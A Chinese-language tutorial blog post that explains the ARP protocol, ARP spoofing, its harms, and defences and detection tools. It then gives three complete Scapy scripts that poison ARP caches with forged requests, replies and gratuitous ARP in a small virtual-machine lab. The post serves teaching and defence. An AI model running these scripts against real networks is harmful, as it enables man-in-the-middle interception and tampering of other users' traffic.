使用 Scapy 库编写 ARP 欺骗攻击脚本
ARP(Address Resolution Protocol)缓存中毒是一种网络攻击,它利用了ARP协议中的漏洞,通过欺骗或篡改网络中的ARP缓存来实施攻击。ARP协议是用于将IP地址映射到物理MAC地址的协议,在IPv4网络中,每台计算机都有一个ARP缓存,用于保存IP地址到MAC地址的映射关系,以便进行网络通信。
一、ARP 协议基础
ARP(Address Resolution Protocol,地址解析协议)是一个用于将网络层地址(例如 IP 地址)解析为链路层地址(例如 MAC 地址)的协议。它是互联网协议套件的一部分,定义在 RFC 826 中。
1.1 ARP 的工作原理
1. 基本概念
- IP 地址: 逻辑地址,用于标识网络层设备,通常是 IPv4 地址(例如 192.168.1.1)。
- MAC 地址: 物理地址,用于标识链路层设备,是网卡的硬件地址(例如 00:1A:2B:3C:4D:5E)。
2. ARP 请求与响应
-
ARP 请求: 当一台主机需要与另一台主机通信时,需要知道目标主机的 MAC 地址。如果主机仅知道目标主机的 IP 地址,则发送一个 ARP 请求。
- 广播请求:源主机发送一个包含目标主机 IP 地址的 ARP 请求到局域网的所有设备(MAC 地址为 FF:FF:FF:FF:FF)。
- 请求内容:ARP 请求包含发送方的 IP 和 MAC 地址,以及目标的 IP 地址。
-
ARP 响应: 拥有目标 IP 地址的主机接收到 ARP 请求后,发送一个 ARP 响应。
- 单播响应:响应包只发送给请求方。
- 响应内容:ARP 响应包含目标主机的 MAC 地址,发送给请求方。
3. ARP 缓存
每个主机维护一个 ARP 缓存,存储 IP 地址与 MAC 地址的对应关系。缓存可以减少网络上的 ARP 请求数量。
1.2 ARP 报文格式
ARP 报文由以下字段组成:
- 硬件类型(Hardware Type): 指定硬件类型,例如以太网为 1。
- 协议类型(Protocol Type): 指定协议类型,例如 IPv4 为 0x0800。
- 硬件地址长度(Hardware Address Length): MAC 地址长度,通常为 6。
- 协议地址长度(Protocol Address Length): IP 地址长度,通常为 4。
- 操作码(Opcode): 指示操作类型,例如 1 表示 ARP 请求,2 表示 ARP 响应。
- 发送方硬件地址(Sender Hardware Address): 请求或响应发送者的 MAC 地址。
- 发送方协议地址(Sender Protocol Address): 请求或响应发送者的 IP 地址。
- 目标硬件地址(Target Hardware Address): 目标设备的 MAC 地址(在请求中为 0)。
- 目标协议地址(Target Protocol Address): 目标设备的 IP 地址。
1.3 ARP 的应用
- 局域网内通信: 主机在局域网内与其他主机通信时,使用 ARP 解析目标主机的 MAC 地址。
- 路由器: 路由器在转发数据包时,也需要使用 ARP 解析下一跳的 MAC 地址。
二、ARP 欺骗
ARP 欺骗(ARP Spoofing),也称为 ARP 中毒(ARP Poisoning),是一种网络攻击技术,攻击者通过发送伪造的 ARP 报文,使网络中的其他主机将错误的 MAC 地址与某个 IP 地址关联,从而达到拦截、篡改或中断通信的目的。
2.1 ARP 欺骗的工作原理
- 伪造 ARP 响应: 攻击者向局域网中的目标主机发送伪造的 ARP 响应包,即使目标主机没有发出 ARP 请求。这些响应包将攻击者的 MAC 地址与目标主机要通信的 IP 地址绑定。
- 更新 ARP 缓存: 目标主机接收到伪造的 ARP 响应后,会更新其 ARP 缓存,将攻击者的 MAC 地址与合法的 IP 地址绑定。
- 流量重定向: 此后,目标主机发送到这个 IP 地址的所有数据包都将被重定向到攻击者的设备。
2.2 ARP 欺骗的具体步骤
假设网络中有主机 A 和主机 B,攻击者想要对它们进行 ARP 欺骗。
-
发送伪造的 ARP 响应:
- 攻击者向主机 A 发送一个伪造的 ARP 响应,将 B 的 IP 地址(如 192.168.1.2)映射到攻击者的 MAC 地址。
- 同时,攻击者向主机 B 发送一个伪造的 ARP 响应,将 A 的 IP 地址(如 192.168.1.1)映射到攻击者的 MAC 地址。
-
更新 ARP 缓存:
- 主机 A 和主机 B 更新各自的 ARP 缓存,使其 IP 地址与攻击者的 MAC 地址绑定。
-
中间人攻击(Man-in-the-Middle, MITM):
- 现在,主机 A 和主机 B 的流量都会通过攻击者的设备。
- 攻击者可以选择将数据包转发给实际的目的主机,或者进行拦截和篡改。
2.3 ARP 欺骗的危害
- 数据拦截: 攻击者可以拦截并读取网络中的数据流量,包括敏感信息,如用户名、密码、银行账户信息等。
- 数据篡改: 攻击者可以修改传输中的数据包,插入恶意代码或更改通信内容。
- 拒绝服务(DoS)攻击: 攻击者可以阻断目标主机的网络连接,使其无法与其他主机通信。
- 网络混乱: ARP 缓存被篡改后,网络中的通信会出现混乱,导致网络性能下降甚至瘫痪。
2.4 防御 ARP 欺骗的措施
-
静态 ARP 表:
- 手动配置静态 ARP 表,将 IP 地址与 MAC 地址固定映射,不接受动态 ARP 响应更新。
- 缺点是维护静态 ARP 表较为复杂,尤其在大规模网络中。
-
ARP 检测(ARP Inspection):
- 使用动态 ARP 检测工具(如 DAI, Dynamic ARP Inspection),在交换机或路由器上监控并过滤不可信的 ARP 报文。
- 交换机会检查每个 ARP 响应包的合法性,仅允许合法的 ARP 响应包通过。
-
IP-MAC 绑定:
- 在交换机或路由器上绑定 IP 地址与 MAC 地址,确保只有合法的设备可以使用特定的 IP 地址。
- 当发现不匹配的 IP-MAC 组合时,交换机会拒绝数据包。
-
加密通信:
- 使用加密协议(如 HTTPS、SSH、VPN 等)保护数据传输,即使攻击者拦截到数据包,也无法读取或篡改其中的内容。
-
安全软件和工具:
- 部署网络防火墙、防病毒软件和入侵检测系统(IDS),监控和防止 ARP 欺骗攻击。
- 使用专门的网络安全工具,如
arpwatch
,监控网络中的 ARP 活动,发现异常后及时报警。
2.5 检测 ARP 欺骗的工具
-
arping:
arping
是一个命令行工具,可以发送 ARP 请求并接收响应,帮助检测和诊断 ARP 问题。
-
arpwatch:
arpwatch
监控网络中的 ARP 报文,记录每个 MAC 地址和 IP 地址的变化,发现异常后发送报警通知。
-
Wireshark:
Wireshark
是一个强大的网络协议分析工具,可以捕获和分析网络流量,帮助发现和诊断 ARP 欺骗攻击。
2.6 小结
ARP 欺骗是一种常见且危险的网络攻击技术,通过伪造 ARP 报文,使网络中的设备将错误的 MAC 地址与 IP 地址绑定,从而拦截或篡改通信流量。尽管 ARP 协议本身缺乏安全性,但通过采取适当的防御措施,可以有效预防和检测 ARP 欺骗攻击,保护网络的安全性。
三、安装 Scapy 库
3.1 Windows
pip install scapy
3.2 Linux
git clone https://github.com/secdev/scapy
cd scapy
./run_scapy
四、环境准备
我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:
-
hwtype
:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。 -
ptype
:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。 -
hwlen
:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。 -
plen
:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。 -
op
:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。 -
hwsrc
:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。 -
psrc
:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。 -
hwdst
:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。 -
pdst
:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。
小王:CentOS 9
张三:Red Hat 9
攻击者:Kail
五、攻击方式一:伪造 ARP 请求包
通过攻击者向小王发送伪造 ARP 请求数据包,使小王的本地 ARP 缓存表中添加一条记录:将张三的IP地址映射到攻击者的 MAC 地址
攻击者发起攻击:
#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
# 目标的 IP 地址
Target_IP = "192.168.134.132"
# 伪造的 IP 地址
Forgery_IP = "192.168.134.131"
# 本机的 MAC 地址
My_MAC = "00:0c:29:b2:d6:43"
print("ARP 缓存中毒攻击中……")
# 创建以太网帧对象
E = Ether()
# 设置以太网帧的源 MAC 地址
E.src = My_MAC
# 创建一个ARP(Address Resolution Protocol)对象
A = ARP()
# 设置ARP报文的操作码为 1,表示请求包
A.op = 1
# 设置ARP报文的源 MAC 地址
A.hwsrc = My_MAC
# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP
# 设置 ARP 报文的目标 IP 地址
A.pdst = Target_IP
# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A
# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)
攻击效果:小王的 ARP 缓存表中出现了张三的 IP 地址并且映射到了攻击者的 MAC 地址。同时也添加了攻击者的映射记录
六、攻击方法二:伪造 ARP 响应包
通过攻击者向张三发送伪造 ARP 响应数据包,使张三的本地 ARP 缓存表中更新一条记录:将小王的 IP 地址映射到攻击者的 MAC 地址
值得注意的是,此时张三的 ARP 缓存表仍处于初始状态,其中并不包含小王的 IP 地址对应的映射记录,而且由于 ARP 响应报文只能更新不能添加记录,因此 ARP 响应数据包并不会在张三的 ARP 缓存表中添加小王对应的记录
因此需要张三 Ping 通小王:
这样张三的 ARP 缓存表中就包含 小王 的 IP 地址对应的映射记录:
攻击者发起攻击:
#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
# 目标的 MAC 地址
Target_MAC = "00:0c:29:cf:1f:f2"
# 伪造的 IP 地址
Forgery_IP = "192.168.134.132"
# 伪造的 MAC 地址
Forgery_MAC = "00:0c:29:b2:d6:43"
print("ARP 缓存中毒攻击中……")
# 创建以太网帧对象
E = Ether()
# 设置以太网帧的目标 MAC 地址
E.dst = Target_MAC
# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC
# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()
# 设置 ARP 报文的操作码为 2,表示响应包
A.op = 2
# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC
# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP
# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Target_MAC
# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A
# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)
攻击成功!
攻击效果:张三的 ARP 缓存表中小王的 IP 地址映射到了攻击者的 MAC 地址
七、攻击方式三:伪造免费 ARP 包
通过攻击者向网络中其它主机发送伪造免费 ARP 数据包,使张三和小王的本地 ARP 缓存表中更新一条记录:将攻击者的 IP 地址映射的 MAC 地址更新为:aa:bb:cc:dd:ee:ff
注意:免费 ARP 报文只能更新不能添加记录,所以与 ARP 响应包一样先有缓存记录
前提:张三和小王都先 Ping 通攻击者
攻击者发起攻击:
#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
# 本地的 IP 地址
My_IP = "192.168.134.130"
# 广播地址,向所有主机发送数据包
Broadcast_MAC = "ff:ff:ff:ff:ff:ff"
# 伪造的 MAC 地址
Forgery_MAC = "aa:bb:cc:dd:ee:ff"
print("ARP 缓存中毒攻击中……")
# 创建以太网帧对象
E = Ether()
# 设置以太网帧的目标 MAC 地址
E.dst = Broadcast_MAC
# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC
# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()
# 设置 ARP 报文的操作码为 1
A.op = 1
# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC
# 设置 ARP 报文的源 IP 地址
A.psrc = My_IP
# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Broadcast_MAC
# 设置 ARP 报文的目标 IP 地址
A.pdst = My_IP
# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E/A
# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)